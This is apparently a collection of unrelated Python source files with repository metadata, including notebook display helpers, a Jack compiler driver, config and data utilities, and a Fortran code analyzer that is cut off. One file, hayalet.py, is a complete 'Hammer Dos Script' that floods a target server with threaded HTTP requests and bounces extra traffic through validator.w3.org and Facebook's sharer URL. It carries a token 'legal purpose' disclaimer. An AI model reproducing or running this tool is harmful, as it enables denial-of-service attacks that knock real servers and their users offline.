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from functools import wraps from importlib import util import inspect import os from typing import Any IPYTHON_AVAILABLE = False ipython_module = util.find_spec("IPython") if ipython_module: # pylint: disable=C0415 from IPython.display import ( # noqa Audio, display, FileLink, FileLinks, Image, JSON, Markdown, Video, ) IPYTHON_AVAILABLE = True def _get_caller_prefix(calframe): keyword_name = ( calframe[1][3] if calframe[1][3] not in ["<module>", "<lambda>"] else None ) if keyword_name: keyword_name = keyword_name.replace("_", " ").title() return f"Output from **{keyword_name}**" return "" def print_precheck(f): @wraps(f) def wrapper(*args, **kwargs): if not IPYTHON_AVAILABLE: return None output_level = os.getenv("RPA_NOTEBOOK_OUTPUT_LEVEL", "1") if output_level == "0": return None curframe = inspect.currentframe() calframe = inspect.getouterframes(curframe, 2) prefix = _get_caller_prefix(calframe) if prefix != "": display(Markdown(prefix)) return f(*args, **kwargs) return wrapper @print_precheck def notebook_print(arg=None, **kwargs) -> Any: """Display IPython Markdown object in the notebook Valid parameters are `text`, `image`, `link` or `table`. :param text: string to output (can contain markdown) :param image: path to the image file :param link: path to the link :param table: `RPA.Table` object to print """ if arg and "text" in kwargs.keys(): kwargs["text"] = f"{arg} {kwargs['text']}" elif arg: kwargs["text"] = arg output = _get_markdown(**kwargs) if output: display(Markdown(output)) @print_precheck def notebook_file(filepath): """Display IPython FileLink object in the notebook :param filepath: location of the file """ if filepath: display(FileLink(filepath)) @print_precheck def notebook_dir(directory, recursive=False): """Display IPython FileLinks object in the notebook :param directory: location of the directory :param recursive: if all subdirectories should be shown also, defaults to False """ if directory: display(FileLinks(directory, recursive=recursive)) @print_precheck def notebook_table(table): """Display RPA.Table as IPython Markdown object in the notebook :param table: `RPA.Table` object to print """ output = _get_table_output(table) if output: display(Markdown(output)) @print_precheck def notebook_image(image): """Display IPython Image object in the notebook :param image: path to the image file """ if image: display(Image(image)) @print_precheck def notebook_video(video): """Display IPython Video object in the notebook :param video: path to the video file """ if video: display(Video(video)) @print_precheck def notebook_audio(audio): """Display IPython Audio object in the notebook :param audio: path to the audio file """ if audio: display(Audio(filename=audio)) @print_precheck def notebook_json(json_object): """Display IPython JSON object in the notebook :param json_object: item to show """ if json_object: display(JSON(json_object)) def _get_table_output(table): output = "" try: # pylint: disable=C0415 from RPA.Tables import Tables, Table # noqa if isinstance(table, Table): output = "<table class='rpafw-notebook-table'>" header = Tables().table_head(table, count=1) for row in header: output += "<tr>" for h, _ in row.items(): output += f"<th>{h}</th>" output += "</tr>" for row in table: output += "<tr>" for _, cell in row.items(): output += f"<td>{cell}</td>" output += "</tr>" output += "</table> " except ImportError: pass return None if output == "" else output def _get_markdown(**kwargs): output = "" for key, val in kwargs.items(): if key == "text": output += f"{val} " if key == "image": output += f"<img class='rpafw-notebook-image' src='{val}'> " if key == "link": link_text = (val[:75] + "..") if len(val) > 75 else val output += f"<a class='rpafw-notebook-link' href='{val}'>{link_text}</a> " if key == "table": output += _get_table_output(val) return None if output == "" else output

[ "mika@robocorp.com" ]

mika@robocorp.com

31ed7465cf76aea2045bb913368d9bcac7f71b8b

3295631ed075b6e69ea586d7339fd6ad7fa2e78e

/hayalet.py

56a4f233ec18c77c0e180e277070bb0f9b4c4642

[]

no_license

siberhayalet/Hayalet-DDOS

609b99d284cef7238121840d272bea97f0b5d618

c4fde885dd987512dc449c814f2d0ac16c563193

refs/heads/master

2021-05-18T02:50:45.943289

2020-03-29T16:02:15

251,072,161

0

null

UTF-8

Python

false

9,959

py

!/usr/bin/python3 -*- coding: utf-8 -*- python 3.3.2+ Hammer Dos Script v.1 by Can Yalçın only for legal purpose from queue import Queue from optparse import OptionParser import time,sys,socket,threading,logging,urllib.request,random def user_agent(): global uagent uagent=[] uagent.append("Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14") uagent.append("Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0") uagent.append("Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3") uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)") uagent.append("Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7") uagent.append("Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)") uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1") return(uagent) def my_bots(): global bots bots=[] bots.append("http://validator.w3.org/check?uri=") bots.append("http://www.facebook.com/sharer/sharer.php?u=") return(bots) def bot_hammering(url): try: while True: req = urllib.request.urlopen(urllib.request.Request(url,headers={'User-Agent': random.choice(uagent)})) print("\033[94mbot is hammering...\033[0m") time.sleep(.1) except: time.sleep(.1) def down_it(item): try: while True: packet = str("GET / HTTP/1.1\nHost: "+host+"\n\n User-Agent: "+random.choice(uagent)+"\n"+data).encode('utf-8') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,int(port))) if s.sendto( packet, (host, int(port)) ): s.shutdown(1) print ("\033[92m",time.ctime(time.time()),"\033[0m \033[94m <--packet sent! hammering--> \033[0m") else: s.shutdown(1) print("\033[91mshut<->down\033[0m") time.sleep(.1) except socket.error as e: print("\033[91mno connection! server maybe down\033[0m") #print("\033[91m",e,"\033[0m") time.sleep(.1) def dos(): while True: item = q.get() down_it(item) q.task_done() def dos2(): while True: item=w.get() bot_hammering(random.choice(bots)+"http://"+host) w.task_done() def usage(): print (''' \033[92m Hammer Dos Script v.1 http://www.canyalcin.com/ It is the end user's responsibility to obey all applicable laws. It is just for server testing script. Your ip is visible. \n usage : python3 hammer.py [-s] [-p] [-t] -h : yardım -s : server ip -p : port default 80 -t : turbo default 135 \033[0m''') sys.exit() def get_parameters(): global host global port global thr global item optp = OptionParser(add_help_option=False,epilog="Hammers") optp.add_option("-q","--quiet", help="set logging to ERROR",action="store_const", dest="loglevel",const=logging.ERROR, default=logging.INFO) optp.add_option("-s","--server", dest="host",help="attack to server ip -s ip") optp.add_option("-p","--port",type="int",dest="port",help="-p 80 default 80") optp.add_option("-t","--turbo",type="int",dest="turbo",help="default 135 -t 135") optp.add_option("-h","--help",dest="help",action='store_true',help="help you") opts, args = optp.parse_args() logging.basicConfig(level=opts.loglevel,format='%(levelname)-8s %(message)s') if opts.help: usage() if opts.host is not None: host = opts.host else: usage() if opts.port is None: port = 80 else: port = opts.port if opts.turbo is None: thr = 135 else: thr = opts.turbo # reading headers global data headers = open("headers.txt", "r") data = headers.read() headers.close() #task queue are q,w q = Queue() w = Queue() if __name__ == '__main__': if len(sys.argv) < 2: usage() get_parameters() print("\033[92m",host," port: ",str(port)," turbo: ",str(thr),"\033[0m") print("\033[94mPlease wait...\033[0m") user_agent() my_bots() time.sleep(5) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,int(port))) s.settimeout(1) except socket.error as e: print("\033[91mcheck server ip and port\033[0m") usage() while True: for i in range(int(thr)): t = threading.Thread(target=dos) t.daemon = True # if thread is exist, it dies t.start() t2 = threading.Thread(target=dos2) t2.daemon = True # if thread is exist, it dies t2.start() start = time.time() #tasking item = 0 while True: if (item>1800): # for no memory crash item=0 time.sleep(.1) item = item + 1 q.put(item) w.put(item) q.join() w.join()

[ "noreply@github.com" ]

siberhayalet.noreply@github.com

2d73c0b4136544ae41233e0c4dddb23db861355c

e53baa85a296b89abce5bccbf89d7d71cf59c7dd

/SyntaxAnalyzer.py

8d4c931641597fca203abd48de384223b54a9037

[]

no_license

NagariaHussain/JackCompiler

bb93b861b5bad3b6444a7332e1b10678c65716d3

319599caba15c6541d3b0fc7373dcf3e49cf0308

refs/heads/master

2023-01-20T03:50:30.797052

2020-11-22T11:11:02

299,852,411

1

0

null

UTF-8

Python

false

1,056

py

# For accessing command line args from sys import argv # For handling file/dir paths from pathlib import Path # Import Analyzer components from compilation_engine import CompilationEngine from jack_tokenizer import JackTokenizer # Get input path in_path = Path(argv[1]) if in_path.is_file(): # Path points to a file # Initialize tokenizer tokenizer = JackTokenizer(in_path) # Initialize compilation engine compilationEngine = CompilationEngine( tokenizer, in_path.with_suffix(".xml") ) # Start compilation compilationEngine.start_compilation() elif in_path.is_dir(): # Path points to a directory for item in in_path.iterdir(): if item.is_file(): # Compile every jack file if item.suffix == ".jack": tokenizer = JackTokenizer(item) ci = CompilationEngine( tokenizer, item.with_suffix(".xml") ) ci.start_compilation() # END OF FILE

[ "hussainbhaitech@gmail.com" ]

hussainbhaitech@gmail.com

4e3c5f132dfc414b615aaa2c224ea9a0c52c998a

749ece8be5d38fbda341d86101ccf1b3661195ad

/week-3/python-syntax/test.py

cb937196beec01933f9a4d819534e047e452ab60

[]

no_license

NicolasGuerrero/react-custom-hooks

e00dd8168a454db59e95955a45080dd034bbd0f4

63df6053c510c5d4e3210baf3ab5d09abba0cf17

refs/heads/master

2022-12-25T19:39:46.325300

2020-02-29T01:12:21

243,882,996

0

null

2022-12-12T03:02:45

2020-02-29T01:11:49

JavaScript

UTF-8

Python

false

109

py

def my_function(nums): for num in nums: print(num) my_nums = [1, 2, 10] my_function(my_nums)

[ "saynaysurf@gmail.com" ]

saynaysurf@gmail.com

de06cf8c6463a615ed1808701fc0072c86973115

5ab4dfce4aa368855708880e27f9b0032fa5c7aa

/replay_component/scripts/config.py

a8ba12a0e00a78808d9233019f3bd2ca2ee41a87

[]

no_license

itzranjeet/replay_component

d11e720142d349818fbed1aa82eda738282cd103

bc4cb17bb9182d8f8e08961bf4f4d15ae2577c5a

refs/heads/master

2022-12-31T13:29:48.105507

2020-10-20T07:40:37

305,627,532

0

null

UTF-8

Python

false

512

py

import json config_file_path = '/home/jesmij/ros_ws/src/replay_component/config/config.json' with open(config_file_path) as config_file: config = json.load(config_file) class Config: BENCH_DATA_DIRECTORY = config.get("BENCH_DATA_DIRECTORY") SQLALCHEMY_TRACK_MODIFICATIONS = False SERVICES = [ {'path': '.server.routes', 'blueprint': 'server'} ] BUNDLE_FILE_LOC = config.get("BUNDLE_BENCH_FILE_LOCATION") TCP_IP = config.get("TCP_IP") PORT = config.get("PORT")

[ "ranjeet.patil@kpit.com" ]

ranjeet.patil@kpit.com

e191e24a90476161be215f639c498635ef7d140c

7bc54bae28eec4b735c05ac7bc40b1a8711bb381

/src/arg/perspectives/gen_runner/run_ngram_collector_subword_train.py

9bde1ee31a94937ac3d4bd71f06730c26fa0a7ee

[]

no_license

clover3/Chair

755efd4abbd5f3f2fb59e9b1bc6e7bc070b8d05e

a2102ebf826a58efbc479181f1ebb5de21d1e49f

refs/heads/master

2023-07-20T17:29:42.414170

2023-07-18T21:12:46

157,024,916

0

null

2023-02-16T05:20:37

2018-11-10T21:55:29

Python

UTF-8

Python

false

487

py

from arg.perspectives.n_gram_feature_collector_subword import PCNgramSubwordWorker from data_generator.job_runner import JobRunner, sydney_working_dir if __name__ == "__main__": def worker_factory(out_dir): return PCNgramSubwordWorker( input_job_name="rel_score_to_para_train", max_para=30, out_dir=out_dir ) runner = JobRunner(sydney_working_dir, 606, "pc_ngram_subword_all_train", worker_factory) runner.start()

[ "lesterny@gmail.com" ]

lesterny@gmail.com

b2d8c460e3695b8e62944fbd80126bdd465de832

901c62fda0c629843ec5077e34d5d4da387e3455

/model/common.py

8fde25a1829ff205c919fe7f788c6ce425bfee51

[]

no_license

mikeizbicki/ccTLD

99a1a442216763bf417e2d441a87b22f77eebcee

f461d87f70ef7da7ca91bbc451859c9cbc5a10ae

refs/heads/master

2020-05-01T12:48:52.492075

2019-05-09T06:15:48

177,475,383

0

1

null

UTF-8

Python

false

1,120

py

countries={ 'ar':'Argentina', 'bo':'Bolivia', 'cl':'Chile', 'co':'Colombia', 'cr':'Costa Rica', 'cu':'Cuba', 'do':'Dominican Republic', 'ec':'Ecuador', 'sv':'El Salvador', 'gt':'Guatemala', 'hn':'Honduras', 'mx':'Mexico', 'ni':'Nicaragua', 'pa':'Panama', 'py':'Paraguay', 'pe':'Peru', 'pr':'Puerto Rico', 'es':'Spain', 'uy':'Uruguay', 've':'Venezuela', 'gq':'Equatorial Guinea', 'us':'United States', 'pt':'Portugal', 'bz':'Belize', 'br':'Brazil', } ccTLDs=sorted(countries.keys()) def get_vocab(vocab_size,vocab_filename='bin/all.vocab'): import pickle vocab_top_filename='bin/'+str(vocab_size)+'.vocab' try: with open(vocab_top_filename,'r') as f: vocab_top=pickle.load(f) except: with open(vocab_filename,'r') as f: vocab=pickle.load(f) vocab_top=map(lambda (x,y):x,vocab.most_common(vocab_size-1)) vocab_top.append('<<UNK>>') with open(vocab_top_filename,'w') as f: pickle.dump(vocab_top,f) return vocab_top

[ "mike@izbicki.me" ]

mike@izbicki.me

f180557feef9db0d6538d1491c772a735dc9d47a

b2f256c584aa071a58d8905c3628d4a4df25a506

/utils/python/python/fanalyse.py

a2d9cd1089ec72aac1282dd4331b2a44fbb8b3d5

[ "MIT" ]

permissive

maximebenoitgagne/wintertime

6865fa4aff5fb51d50ea883b2e4aa883366227d8

129758e29cb3b85635c878dadf95e8d0b55ffce7

refs/heads/main

2023-04-16T22:08:24.256745

2023-01-10T20:15:33

585,290,944

0

null

UTF-8

Python

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34,126

py

'''find all write access to variables in fortran files. First direct assignments, then indirect writes through subroutine calls. ''' import sys import os import re import glob import shlex import json import string import cgi from pyparsing import nestedExpr, ParseException SRPATT = re.compile(r'^ .... *(program|subroutine|(?:[a-zA-Z0-9_*]+ +)?function) *(\w+) *(\([^!]*)?', re.I) CALLPATT = re.compile(r'^( .... *call *)(\w+) *(\([^!]*)', re.I) INCLUDEPATT = re.compile(r'^# *include +"([^"]+)"') COMMONPATT = re.compile(r'^ .... *common */ *(\w+) */ *(.*) *$', re.I) INLINECOMMENTPATT = re.compile(r'\!.*$') CONTLINEPATT = re.compile(r'^ [^ ]') parenexpr = nestedExpr('(', ')') angleexpr = nestedExpr('<', '>') _defdirs = ['model/inc', 'model/src', 'eesupp/inc', 'eesupp/src', 'pkg/*'] _defexcludes = ['pkg/atm_ocn_coupler', 'pkg/aim_compon_interf', 'pkg/chronos', 'pkg/cfc', 'pkg/dic', 'pkg/ecco', 'pkg/autodiff', ] _IGNOREHEADERS = ['mpif.h', 'netcdf.inc', 'tamc.h', 'tamc_keys.h', 'PACKAGES_CONFIG.h', 'AD_CONFIG.h', 'BUILD_INFO.h', 'ecco_cost.h', 'ecco_ad_check_lev1_dir.h', 'ecco_ad_check_lev2_dir.h', 'ecco_ad_check_lev3_dir.h', 'ecco_ad_check_lev4_dir.h', 'dic_ad_check_lev1_dir.h', 'dic_ad_check_lev2_dir.h', 'dic_ad_check_lev3_dir.h', 'dic_ad_check_lev4_dir.h', 'ebm_ad_check_lev2_dir.h', 'ebm_ad_check_lev4_dir.h', 'checkpoint_lev1_template.h', 'checkpoint_lev1_directives.h', 'checkpoint_lev2_directives.h', 'checkpoint_lev3_directives.h', 'checkpoint_lev4_directives.h', 'ctrparam.h', 'adcommon.h', 'f_hpm.h', ] U = True I = False _KNOWNINTENTS = {'flush': [I], 'mpi_wait': [I,U,U], 'mpi_comm_size': [I,U,U], 'mpi_comm_rank': [I,U,U], 'mpi_cart_rank': [I,I,U,U], 'mpi_cart_coords': [I,I,I,U,U], 'mpi_cart_create': [I,I,I,I,I,U,U], 'mpi_bcast': [U,I,I,I,I,U], 'mpi_recv': [U,I,I,I,I,I,U,U], 'mpi_send': [I,I,I,I,I,I,U], 'mpi_isend': [I,I,I,I,I,I,U,U], 'mpi_type_commit': [I,U], 'mpi_type_contiguous': [I,I,U,U], 'mpi_type_vector': [I,I,I,I,U,U], 'mpi_type_hvector': [I,I,I,I,U,U], 'mpi_allreduce': [I,U,I,I,I,I,U], } _IGNORESUBPATTS = ['active_read_', 'active_write_', 'adactive_', 'autodiff_', 'ampi_', 'mpi_waitall$', 'mpi_barrier$', ] _IGNORESUBPATTS = [ re.compile(s) for s in _IGNORESUBPATTS ] def dump(fname, obj): with open(fname, 'w') as f: json.dump(obj, f) def load(fname): with open(fname) as f: obj = json.load(f) return obj def pathdict(dirglobs=_defdirs, ext='.h', excludes=_defexcludes, rootdir=''): '''return dictionary mapping names of files with extension ext in directories matching dirglobs under rootdir to their paths ''' paths = {} for dg in dirglobs: for dir in glob.glob(os.path.join(rootdir,dg)): if dir.rstrip('/') not in excludes: for path in glob.glob('{}/*{}'.format(dir,ext)): d,name = os.path.split(path) if name in paths: print 'duplicate:', paths[name], path paths[name] = path return paths def joinacrosscpp(lines, i=0, argstr=''): while lines[i+1][:1] == '#' or CONTLINEPATT.match(lines[i+1]): i += 1 #lline = lines[i].lower() lline = lines[i] if CONTLINEPATT.match(lline): arg = INLINECOMMENTPATT.sub('', lline[6:]).strip() argstr = argstr + arg return i,argstr def stripallcpp(fname): lines = [] linenum = [] with open(fname) as fid: for n,line in enumerate(fid): line = INLINECOMMENTPATT.sub('', line.rstrip().lower()) if line[:1] == ' ': lines.append(line) linenum.append(n+1) return lines, linenum def stripcpp(fname): with open(fname) as fid: lines = fid.readlines() # remove comments and preprocessor directives, except includes i = 0 n = 1 linenum = [1] # includes = [] while i < len(lines): # remove newline lines[i] = INLINECOMMENTPATT.sub('', lines[i].rstrip()) # m = re.match(r'# *include +"([^"]+)"', lines[i+1]) # if m: # includes.append(m.group(1)) if lines[i][:1] == ' ': lines[i] = lines[i].lower() if lines[i][:1] != ' ' and not INCLUDEPATT.match(lines[i]): lines.pop(i) else: linenum[i:i+1] = [n] i += 1 n += 1 return lines, linenum #, includes def joincontinuation(lines): '''joins continuation lines in place ''' # join continuation lines # assumes that cpp directives and comments have already been stripped i = 0 while i < len(lines)-1: if CONTLINEPATT.match(lines[i+1]): line = INLINECOMMENTPATT.sub('', lines.pop(i+1)[6:].strip()) lines[i] = lines[i] + ' ' + line else: i += 1 def parseinclude(incname, paths, commsbyinc=None, varsbyinc=None): if commsbyinc is None: commsbyinc = {} if varsbyinc is None: varsbyinc = {} if incname in varsbyinc: return commsbyinc[incname], varsbyinc[incname] try: fname = paths[incname] except KeyError: if incname not in _IGNOREHEADERS: print 'Missing:', incname return {},{} commons = {} globvars = {} lines,_ = stripcpp(fname) joincontinuation(lines) for line in lines: m = INCLUDEPATT.match(line) if m: inc = m.group(1) if inc in paths: c,g = parseinclude(m.group(1), paths, commsbyinc, varsbyinc) commons.update(c) globvars.update(g) else: if inc not in _IGNOREHEADERS: print 'WARNING: {}: Missing header {}'.format(fname, inc) continue m = COMMONPATT.match(line) if m: commname,varstr = m.groups() varnames = [ s.strip() for s in varstr.split(',') ] if commname in commons: if commons[commname] != incname: print 'WARNING: common block', commname, 'in', paths[commons[commname]], fname else: commons[commname] = incname for varname in varnames: if varname in globvars: c = globvars[varname] inc = commons[c] if inc == incname and c == commname: print 'WARNING: {}: {} appears twice in /{}/'.format(fname, varname, commname) else: print 'WARNING:', fname+':', varname, 'already in', paths[inc]+':'+c globvars[varname] = commname continue commsbyinc[incname] = commons varsbyinc[incname] = globvars return commons, globvars #def parseallincludes(paths): # c = {} # g = {} # for incname in paths: # parseinclude(incname, paths, c, g) # return c,g def getglobals(fname, paths, commsbyinc=None, varsbyinc=None, commons=None, globvars=None): if commsbyinc is None: commsbyinc = {} if varsbyinc is None: varsbyinc = {} if commons is None: commons = {} if globvars is None: globvars = {} lines,_ = stripcpp(fname) joincontinuation(lines) srname = '' for line in lines: m = SRPATT.match(line) if m: _,srname,_ = m.groups() if srname in commons: print 'WARNING: {}: S/R {} appears twice in'.format(fname, srname) else: commons[srname] = {} globvars[srname] = {} continue m = INCLUDEPATT.match(line) if m: inc = m.group(1) if srname == '': if not 'OPTIONS.h' in inc and not 'CONFIG.h' in inc and not inc in _IGNOREHEADERS: print '{}: skipping pre-subroutine include {}'.format(fname, inc) elif inc in paths: c,g = parseinclude(m.group(1), paths, commsbyinc, varsbyinc) commons[srname].update(c) globvars[srname].update(g) else: if inc not in _IGNOREHEADERS: print 'WARNING: {}: Missing header {}'.format(fname, inc) continue m = COMMONPATT.match(line) if m: commname,varstr = m.groups() varnames = [ s.strip() for s in varstr.split(',') ] globvar = {} for varname in varnames: if varname in globvars[srname]: c = globvars[srname][varname] inc = commons[srname][c] if inc is None: print 'WARNING:', fname+':', varname, 'in', c, commname else: print 'WARNING:', fname+':', varname, 'in', paths[inc]+':'+c, fname+':'+commname globvar[varname] = commname if commname in commons[srname]: inc = commons[srname][commname] vs = set( k for k,v in globvars[srname].items() if v == commname ) if inc is None: if vs.symmetric_difference(globvar.values()): print 'WARNING: {}: /{}/ appears twice'.format(fname, commname) else: print 'WARNING:', fname+': common block', commname, 'in', paths[inc], fname # will overwrite commons and update globvars globvars[srname].update(globvar) commons[srname][commname] = None continue return globvars, commons def getallglobals(fnames, incpaths, commsbyinc=None, varsbyinc=None, commons=None, globvars=None): if commsbyinc is None: commsbyinc = {} if varsbyinc is None: varsbyinc = {} if commons is None: commons = {} if globvars is None: globvars = {} for fname in fnames: getglobals(fname, incpaths, commsbyinc, varsbyinc, commons, globvars) return globvars, commons #def parseincludes(paths, incnames=None, commons={}, globvars={}): # if incnames is None: # incnames = paths.keys() # # for incname in incnames: # try: # fname = paths[incname] # except KeyError: # if incname not in _IGNOREHEADERS: # print 'Missing:', incname # continue # # lines,_ = stripcpp(fname) # lines = joincontinuation(lines) # for line in lines: # m = INCLUDEPATT.match(line) # if m: # parseincludes(paths, [m.group(1)], commons, globvars) # continue # # m = COMMONPATT.match(line) # if m: # name,varstr = m.groups() # varnames = [ s.strip() for s in varstr.split(',') ] # if name in commons: # if commons[name] != incname: # print 'WARNING: common block', name, 'in', paths[commons[name]], paths[incname] # else: # commons[name] = incname # for varname in varnames: # if varname in globvars: # c = globvars[varname] # print 'WARNING:', varname, 'in', paths[commons[c]]+':'+c, paths[commons[name]]+':'+name # globvars[varname] = name # # continue # # return commons, globvars def getdirect(fname): # strip comments, cpp directives lines,linenum = stripallcpp(fname) # identify subroutines srfiles = {} # subargs[srname] = [arg, ...] subargs = {} # calls[srname] = [(called,args), ...] calls = {} srname = '' for i in range(len(lines)): lline = lines[i].lower() m = SRPATT.match(lline) if m: tp,srname,argstr = m.groups() srfiles[srname] = (fname, linenum[i]) if argstr is None: args = [] else: while lines[i+1][:1] == '#' or CONTLINEPATT.match(lines[i+1]): i += 1 lline = lines[i].lower() if CONTLINEPATT.match(lline): arg = re.sub(r'!.*$', '', lline[6:]).strip() argstr = argstr + arg argstr = argstr.strip() assert argstr[0] == '(' assert argstr[-1] == ')' args = [ s.strip() for s in argstr[1:-1].split(',') ] if srname in subargs: print 'WARNING: {}: subroutine encountered twice: {} {} {}'.format(fname, srname, len(subargs[srname]), len(args)) subargs[srname] = args calls[srname] = [] continue m = CALLPATT.match(lline) if m: called = m.group(2) argstr = m.group(3) i0 = i i,argstr = joinacrosscpp(lines, i, argstr) try: argl, = parenexpr.parseString(argstr).asList() except ParseException: print '{}:{}'.format(fname, linenum[i]), argstr raise args1 = ' '.join([ s for s in argl if type(s) != type([]) and s[0] not in "'" + '"' ]) def argvars(args1): for s in args1.split(','): m1 = re.match(r' *(\w*)', s) yield m1.group(1) args = list(argvars(args1)) if srname == '': print fname, called l = str(linenum[i0]) if i != i0: l += '-{}'.format(linenum[i]) calls[srname].append((l, called, args)) continue # direct[srname][varname] = [line1, line2, ...] direct = {} srname = '' for i,line in enumerate(lines): m = SRPATT.match(line) if m: srname = m.group(2) direct[srname] = {} continue m = re.match(r' .... *([a-zA-Z_][a-zA-Z0-9_]*) *(?:$[^)]*$)? *=', line) if m: name = m.group(1) if srname == '': print '{}:{}: assignment outside of subroutine: {}'.format( fname,linenum[i],line) direct[srname].setdefault(name, []).append(str(linenum[i])) continue def joinvalues(d): s = set() for l in d.values(): s.update(l) return s # globmod = {} # for sr in direct: # globmod[sr] = [ v for v in direct[sr] if v in globvars[sr] ] return subargs, direct, calls, srfiles def getdirects(patts, incpaths): fnames = [ s for patt in patts for s in glob.glob(patt) ] srfiles = {} subargs = {} calls = {} direct = {} for fname in fnames: s,d,c,f = getdirect(fname) for sub in s: if sub in subargs: print 'WARNING: {}: S/R {} already in {} {} {}'.format( fname, sub, srfiles[sub], len(subargs[sub]), len(s[sub])) i = 2 while str(i)+sub in subargs: i += 1 s[str(i)+sub] = s[sub] d[str(i)+sub] = d[sub] c[str(i)+sub] = c[sub] f[str(i)+sub] = f[sub] del s[sub] del d[sub] del c[sub] del f[sub] subargs.update(s) calls.update(c) direct.update(d) srfiles.update(f) return subargs, direct, calls, srfiles def findintents(srname, subargs, direct, calls, cache=None, worklist=None): if worklist is None: worklist = {} try: return cache[srname] except: pass # print srname, worklist.keys() sys.stdout.flush() worklist[srname] = True myargs = subargs[srname] mydirect = direct[srname] out = dict((k, k in mydirect) for k in myargs) # out = dict.fromkeys(myargs, False) for l,sub,args in calls[srname]: if sub not in subargs and sub not in cache: ignore = False for patt in _IGNORESUBPATTS: if patt.match(sub): ignore = True break if not ignore and sub not in ['print_error', 'print_message']: print '{}: skipping {}'.format(srname, sub) continue if sub == srname: print '{}: skipping self'.format(sub) elif sub in worklist: print 'Avoiding recursion:', srname, sub else: subout = findintents(sub, subargs, direct, calls, cache, worklist) if len(subout) != len(args): print sub+': have', len(args), 'needs', len(subout) for arg,so in zip(args, subout): if arg in out: out[arg] = out[arg] or so isout = [ out[a] for a in myargs ] if '2'+srname in subargs: i = 2 while str(i)+srname in subargs: if str(i)+srname in worklist: print 'Avoiding recursion:', srname, str(i)+srname else: isout2 = findintents(str(i)+srname, subargs, direct, calls, cache, worklist) if len(isout2) == len(isout) and isout2 != isout: print 'Mismatch', str(i)+srname, isout, isout2 i += 1 if cache is not None: cache[srname] = isout del worklist[srname] return isout def findallintents(subargs, direct, calls): cache = {} cache.update(_KNOWNINTENTS) for srname in subargs: # will fill cache findintents(srname, subargs, direct, calls, cache) return cache def findglobmods(srname, subargs, direct, calls, intents, globvars, cache=None, worklist=None): if worklist is None: worklist = {} try: return cache[srname] except: pass # print srname, worklist.keys() sys.stdout.flush() worklist[srname] = True if srname[0] in string.digits: srname0 = srname.lstrip(string.digits) else: srname0 = srname mydirect = direct[srname] myglobals = globvars[srname0] # globmods = set(mydirect).intersection(myglobals) globmods = dict((k,v) for k,v in mydirect.items() if k in myglobals) for l,sub,args in calls[srname]: if sub not in subargs: ignore = sub in _KNOWNINTENTS for patt in _IGNORESUBPATTS: if patt.match(sub): ignore = True break if not ignore and sub not in ['print_error', 'print_message']: print '{}: skipping {}'.format(srname, sub) continue if sub == srname: print '{}: skipping self'.format(sub) elif sub in worklist: print 'Avoiding recursion:', srname, sub else: submods = findglobmods(sub, subargs, direct, calls, intents, globvars, cache, worklist) for k,v in submods.items(): globmods.setdefault(k, []).append(l) # '{}:{}'.format(sub, v) intent = intents[sub] if len(intent) != len(args): print sub+': have', len(args), 'needs', len(intent) for arg,isout in zip(args, intent): if isout and arg in myglobals: globmods.setdefault(arg, []).append(l) # '{}({})'.format(sub, args.index(arg)+1) if '2'+srname in subargs: i = 2 while str(i)+srname in subargs: if str(i)+srname in worklist: print 'Avoiding recursion:', srname, str(i)+srname else: gm = findglobmods(str(i)+srname, subargs, direct, calls, intents, globvars, cache, worklist) globmods.update(gm) i += 1 if cache is not None: cache[srname] = globmods del worklist[srname] return globmods def findallglobmods(subargs, direct, calls, intents, globvars): cache = {} for srname in globvars: findglobmods(srname, subargs, direct, calls, intents, globvars, cache) return cache globformat='\033[1m{}\033[0m' gmodformat='\033[1;31m{}\033[0m' argformat='\033[1;34m{}\033[0m' argmodformat='\033[1;35m{}\033[0m' def amptodot(s): return re.sub(r'^ (....)&', r' \1*', s) def escapeangles(s): s = s.replace("<", "<") s = s.replace(">", ">") return s def markupfile(fname, srfiles, subargs, globvars, globmods, intents, globformat=globformat, gmodformat=gmodformat, argformat=argformat, argmodformat=argmodformat, escape=lambda x:x, mklink=lambda x,y:x): #lines = map(escape, map(amptodot, open(fname).readlines())) lines = map(escape, open(fname).readlines()) linenum = range(1,len(lines)+1) srname = '' markup = [] i = 0 while i < len(lines): markup += '<a name="{}"></a>'.format(i+1) line = lines[i] m = SRPATT.match(line) if m: tp,srname,argstr = m.groups() srname = srname.lower() def format(arg, intent=None, write=True, iswrite=False): if srname in subargs and arg.lower() in subargs[srname]: if write and (iswrite or intent): arg = argmodformat.format(arg) else: arg = argformat.format(arg) elif srname in globvars and arg.lower() in globvars[srname]: if intent is None: intent = arg.lower() in globmods[srname] if write and intent: arg = gmodformat.format(arg) else: arg = globformat.format(arg) return arg if argstr and srname in intents: ints = intents[srname] markup += ' ' + tp + ' ' + srname + '(' line = argstr[1:] pre = '' iarg = 0 while True: markup += pre myargs = [ s.strip(' )') for s in line.strip().split(',') ] for j in range(len(myargs)): arg = myargs[j] if arg != '': if iarg < len(ints): # print subargs[srname][iarg], arg if arg.lower() != subargs[srname][iarg]: print 'WARNING: {}: argument mismatch {}: {} {}'.format( srname, iarg+1, subargs[srname][iarg], arg) markup += format(arg, iswrite=ints[iarg]) else: markup += arg print '{}: extra argument: {}'.format(srname, arg) iarg += 1 if j < len(myargs) - 1: markup += ',' if myargs[j+1] != '': markup += ' ' extra = [] while lines[i+1][:1] == '#': i += 1 extra += lines[i] i += 1 if CONTLINEPATT.match(lines[i]): pre = lines[i][:6] + ' ' line = lines[i][6:].strip() markup += '\n' markup += extra else: markup += ')\n' markup += extra break continue m = CALLPATT.match(line) if m: if srname == '': print fname, called prefix,called,argstr = m.groups() i1,argstr = joinacrosscpp(lines, 